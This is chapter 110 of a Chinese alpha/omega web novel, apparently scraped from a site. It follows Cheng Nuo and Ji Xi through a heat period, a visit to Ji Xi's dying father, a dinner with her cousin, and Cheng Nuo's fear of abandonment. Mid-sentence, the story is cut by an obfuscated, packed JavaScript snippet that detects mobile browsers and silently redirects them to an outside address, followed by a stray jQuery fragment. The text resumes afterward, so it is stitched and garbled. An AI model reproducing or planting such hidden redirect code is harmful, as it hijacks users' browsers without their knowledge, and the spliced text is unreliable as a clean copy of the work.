110. 八年前—惹哭
作品:《病弱omega对我强取豪夺》 发情期持续了三天,程诺感觉整个人都变得轻盈了。
当清晨的阳光透过半开的玻璃落在她的脸上,程诺神情恍惚,以为她上了天堂。
而造成这一切的罪魁祸首还趴在一边笑眯眯地盯着她,“宝宝,早上好呀~”
眼珠缓缓转动,最终停留在那张光彩照人的脸上,程诺唇瓣翕动,艰难地发出声音,“……你不累吗?”
这三天两人几乎没分开过,纪溪情动的模样深深刻在程诺的脑海,她们拥抱着彼此尽情宣泄着积压的渴望。
按理来说,她在发情期,她的生理需求会大于纪溪,就算强度有些超标她也能缓过来……怎么到最后被弄到人事不省的还是她?
而且她才二十一岁!
大学还没毕业、最有劲的年纪啊!!
为什么她整个人又酸又软快要散架,反观alpha却容光焕发,看上去活力四射。
程诺的目光落到她的手臂上,手从被子里探出,戳了两下,喃喃自语:“健身这么有用吗?”
纪溪顺势握住她的指尖,长臂一舒把人搂进怀里,低头亲了一口,“当然啦,这点程度对我来说不算什么~宝宝,要不要和我一起健身?”
程诺蹭了蹭她的胸口,闭上眼,“……不要,好累。”
体测都会让她痛苦,她为什么要花钱找罪受?
“那好吧,不过你要多吃一点。”纪溪不会勉强她做不喜欢的事,掐了把她腰间的软肉,纪溪眼中有些心疼,“你太瘦了,要多补补。”
程诺想到每顿一碗的补汤,嘴角微微扬起,“哪有啊,再这么吃下去衣服都穿不上了……”
阳光又暖了几分,纪溪的下巴轻轻抵在程诺发顶,嗅着她身上淡淡的、属于自己的信息素与程诺原本苦涩气息交融的味道,心满意足。
“穿不上就买新的,”她的声音慵懒带笑,“只要你开心,我们每天都可以买新衣服,穿一件,丢一件~”
程诺被她描述的画面逗笑,“真浪费啊,要是我把你的钱花光了怎么办?”
纪溪想了想自己的名下的资产,抱着怀里的omega轻轻晃着,“那你可得努力点,我的钱还蛮多的。”
程诺在她怀里笑得更厉害了,肩膀轻轻耸动,牵动酸软的肌肉又让她“嘶”了一声。
“万恶的资本家。”她小声控诉,手指无意识地点在纪溪胸前绕圈。
纪溪由着她摸,只是收紧了手臂,把她圈得更牢。
“所以,小学妹,要不要考虑一下长期持有这支绩优股?保证分红稳定,服务周到。”她的语调懒洋洋的,带着明显的戏谑,眼神却无比认真。
程诺心里像吃了蜜糖似的甜。
“持股有风险,投资需谨慎。”她故意板起脸,想做出严肃的样子,奈何眼里的笑意和微红的脸颊出卖了她。
“嗯,高风险,高回报。”纪溪从善如流地接住她的话,低头用鼻尖蹭了蹭她,目光灼灼,“比如……独家提供的信息素安抚,终身免预约标记服务,二十四小时贴身关怀……哦,还有,”她顿了顿,压低声音,唇几乎贴着程诺的耳垂,
“随叫随到的健身私教,帮助您全面提升耐力……这些够不够你冲动一回呢,学妹~”
最后两个字被她咬得格外曖昧。
程诺的脸彻底红透,刚恢复的一点力气全用在捶她身上:“纪溪!你……你不正经!”
纪溪却一副理所应当的模样,“在对象面前假正经干嘛?”
说完又握住程诺的手,唇瓣贴着她的脸颊,纪溪闷笑两声,“宝宝,这就受不了了,那以后可怎么办啊?”
程诺……程诺再次把脸埋进她怀里。
论嘴上功夫,她确实比不过纪溪。
……
饭后,程诺回了趟学校,纪溪去医院看看应向天。
虽然纪溪成年之前没和他见过几回,父女之间也没多少交流,但他给她妈守了这么多年,在纪溪心里,这个父亲还算称职。
他这个病已经是晚期,现在只是用药吊着口气,随时都可能撒手人寰。
纪溪觉得他真不走运。
以现在的医学水平,上了手术台,什么病都能和阎王抢一把,偏偏得的是脑癌。
隔着玻璃,看着躺在床上已经不认识她的应向天,纪溪叹了口气,心里发闷。
等医生给他检查完,纪溪走进去,站到床边。
低头看着他被病痛折磨到没有多少生机的脸,纪溪张了张嘴,却想不到要说什么。
病房里再次陷入沉默,只能听见仪器规律的滴答声。窗外阳光正好,却照不进这被病魔笼罩的方寸之地。
“爸,”纪溪哑着声音开口,“我遇到了一个人。她特别好,刚认识的时候觉得她有点犟,相处久了就知道,她有自己的底线。”
纪溪的声音很低,像在自言自语,又像在向病床上毫无知觉的人倾诉,“有时候会耍点小脾气,但特别好哄。她笑起来眼睛弯弯的,很漂亮。”她顿了顿,指尖无意识地蜷缩了一下:
“她很依赖我,又或者说她很没有安全感,我想多照顾她一点,让她过得开心。”
床上的人沉默地听着,直到那道声音越来越轻。
纪溪也沉默了。
她不喜欢这种场景。
亲眼看着血亲的生命流逝,却又无能为力的感觉烂透了。
临走前,纪溪把应向天露在外面的手塞进薄被里,她垂着眼,轻声道:“下次,我带她来见你,你肯定也会喜欢她的。”
走出医院,迎面吹来的风已经有夏天的味道,纪溪仰起头,感受着刺目的阳光。
她给许知秋打了电话,“姐,什么时候有时间?我带她来见你。”
那边传来一声轻笑,“终于舍得把人带出来了?这周随时可以。”
纪溪脸上露出笑容,边走边说,“她胆子小,你到时候可别吓唬她。”
“怕什么,惹哭了又不用我哄。”
“那我得摁着你给我老婆道歉~”
“……”
饭局订在周四,虽然纪溪给她打过预防针,但真见到许知秋的那一刻,程诺还是紧张得手心冒汗。
纪溪和她说过家里的情况,她知道纪溪是在姥姥身边长大的,舅妈舅舅也把她当亲生的养,许知秋是纪溪成长过程中最重要的女性长辈之一,分量不言而喻。
走进包间,程诺一眼就看到坐在桌前,穿着一身粉色西装的女人,眉眼和纪溪有些相似,气质干练又不失优雅。
许知秋闻声抬头,目光先是落在纪溪身上,随即迅速转向程诺,眼神里的审视被掩藏得极好。
她起身迎了上来,主动伸出手,“你好,我是小溪的姐姐,许知秋。你就随小溪,叫我姐好了。”
许知秋态度随和,让程诺紧绷的神经放松不少,伸出手和她相握:
“姐,我叫程诺,是纪溪的……女朋友。”
“好!成功会晤!”纪溪在旁边鼓掌,然后一边搂一个往前走,“都是一家人,客套话就不说了,上菜吧!我中午都没怎么吃,就等着这一顿呢!”
许知秋被纪溪搂着肩膀往前走,闻言笑骂:“少来,你还能把自己饿到?”
话虽这么说,她还是顺着纪溪的力道回到位子上,余光偶然瞥向纪溪右侧的程诺,眼底的笑意淡去。
席间的气氛比程诺预想的轻松许多。
许知秋很健谈,懂得也多,从程诺的学业聊到最近的展览,又从纪溪的管理模式聊到应向天的病情,话题转换自然,态度亲切,既不会冷落程诺,又不会让她感到被过度关注。
偶尔调侃纪溪几句,惹得纪溪无奈反驳,程诺在一旁抿嘴偷笑,最初的紧张感已烟消云散。
“对了小诺,”许知秋舀了一勺汤,状似随意地问,“毕业有什么打算?是准备继续深造,还是直接工作?”
程诺放下筷子,认真回答:“我打算硕博连读,期间会和同学做一些小项目,赚点零花。”
虽然知道纪溪肯定会养她,但在她姐姐面前说这话……程诺没脸。
纪溪给她添了勺汤,乐呵呵的,“没错没错,我老婆就是这么厉害!姐,羡慕吗?”
许知秋笑道:“你也跟人家学学,别整天混日子。”
“我哪有!我明明很认真地在工作好吗?!”
……
饭局结束,许知秋刚坐上车,盛青山的电话就打过来,她脱下外套,靠在椅背上,“青山,我们刚吃完。”
“秋姐,你觉得她怎么样?”
两指轻揉着太阳穴,许知秋眉头微蹙,找了个不掺杂太多感情色彩的词汇:
“没有眼缘。”
不讨厌,但也谈不上喜欢。
盛青山那边默了下去,片刻后才出声,“西西……很喜欢吗?”
回想今晚纪溪的表现,许知秋没有隐瞒,“嗯,护得跟眼珠子似的。”
那边沉默的时间更长了,许知秋几乎能想象到她此时的表情。
“……好,我知道了,秋姐,麻烦你了。”
电话挂断,许知秋轻轻地叹了口气。
另一边,提前溜到国外的鹿齐岳在得知纪溪谈恋爱的事后,任凭她妈怎么恐吓都坚决不回国。
要死了,不是说玩玩吗?怎么真成
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980142|184737||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对象了?!
鹿齐岳不敢想,她现在回去夹在盛青山和纪溪中间会有多地狱。
盛青山那个黑心的,有火肯定不会对纪溪撒,小叶子现在又联系不上,她就成了唯一的出气筒。
“哎,世界总爱痛吻我。”
鹿齐岳躺在金发美人的怀里,一边感慨人生无常,一边不规矩地摸来摸去。
“areyoutrytoseduceme,sweet?”金发美人挑起她的下巴,眼神火热。
鹿齐岳眼睛微眯,舌尖舔过她的手指,“我喜欢海水拂过身体的感觉……”
就在金发美人抱着她朝着海边走去时,一条通讯突然弹了出来。
等看清来电人,鹿齐岳顿时什么旖旎心思都没了,让女人把自己放下,走到一边接通电话,“青山?有事吗?”
“你在澳洲吗?我晚上正好到那,聚聚?”
“啊真不巧,我已经到机场了,要不我等你?”
“不用,下次见,注意安全。”
“好,你也是。”
等挂断电话,鹿齐岳立马给秘书打过去,
“快!给我订最近回国的航班!!”
“……好的。”
……
盛夏的脚步慢慢逼近,程诺卡上的余额越来越多。
她给秦岚烟买了不少东西,跟她说了最近的近况,但没提纪溪的事,只说有一个想要发展的对象。
秦岚烟自然为她高兴,还给她发了两千块钱,让她照顾好自己。
程诺看着相册里两人的合照,脸上的笑渐渐淡去。
纪溪对她很好,两人也没有吵架,只是程诺心里没底。
纪溪的爱太炙热了,程诺不怕离得太近被灼烧,她只怕她突然收回所有的好。
像当初霸道地闯进她的生活一样,玩腻了再毫不留恋地离开。
纪溪不会计较她在这段感情里付出了多少,她享受当下、活在当下,无所顾忌。
但程诺却无法停止预设。
在亲热过后相拥而眠的深夜,程诺总会陷入可能会失去纪溪的恐慌。
她的时间被分割成两半,一半沉溺在与情人耳鬓厮磨的现在,一半则在恐惧会被抛弃的未来。
无法掌控的人总会带来无尽的困扰与痛苦。
相处得越久,程诺越能感受到她和纪溪之间的差距。
她没有办法囚禁纪溪。
庆幸又悲哀的是,纪溪也从未想过困住她。
望着窗外的绿植,程诺闭上眼,藏住眼底纷乱的思绪。
某次欢愉过后,程诺疲惫地枕在她的肩头,忽然问她:“姐姐,如果我怀孕了怎么办?”
纪溪随口一说,“结婚啊。”
正好双喜临门。
不料程诺听到这话后,突然不吭声了,还转过身,背对着她。
没一会纪溪就听到细微的抽泣声。
“?”
纪溪连忙抱住她,把人转过来,亲亲她的脸,“怎么哭了?我说错什么了吗,宝宝,别哭,告诉我好不好?”
程诺被她圈在怀里,眼泪却流得更凶了,断断续续地说着,“你、你说得那么轻松……结婚……就像是为了孩子才结的……”
纪溪眼里闪过困惑。
她怎么不知道她是这意思?
“没有,怎么可能是因为孩子才和你结婚呢……”
纪溪擦去她脸上的泪珠,望着她委屈的模样,心里软软的,“不管有没有孩子,我都要和你结婚的。如果你愿意,我们明天就可以登记。”
程诺贴着她的手心,湿漉漉的眼睛看着她,“真的吗?”
纪溪低下头,鼻尖刮蹭着她的脸颊,声音还带着情事后的沙哑,“我们都走到这一步了,当然要结婚啊,我可不想抱除你以外的任何人。”
“姐姐……”程诺钻进她的怀里,毛茸茸的脑袋蹭个不停,黏糊糊地叫着她,“我也不想……姐姐,抱抱我……”
手臂收紧,纪溪揉揉她的脑袋,眼神宠溺,“娇气包,以后是不是得夹着嗓子跟你说话呀?”
“我没有……”
程诺含糊不清地反驳被堵在喉间,两人再次抱紧彼此。
次日醒来,程诺发现她在飞机上,纪溪正坐在镜子前梳头。
“醒了?”从镜子里看到她,纪溪放下梳子走到床边,弯腰亲了她一口,“睡得好吗,宝宝?”
“嗯……”程诺还有些迷茫,“姐姐,我们要去哪啊?”
纪溪捏捏她的脸,凤眸弯弯:
“不是说喜欢企鹅吗,带你去摸摸~”
“啊?”

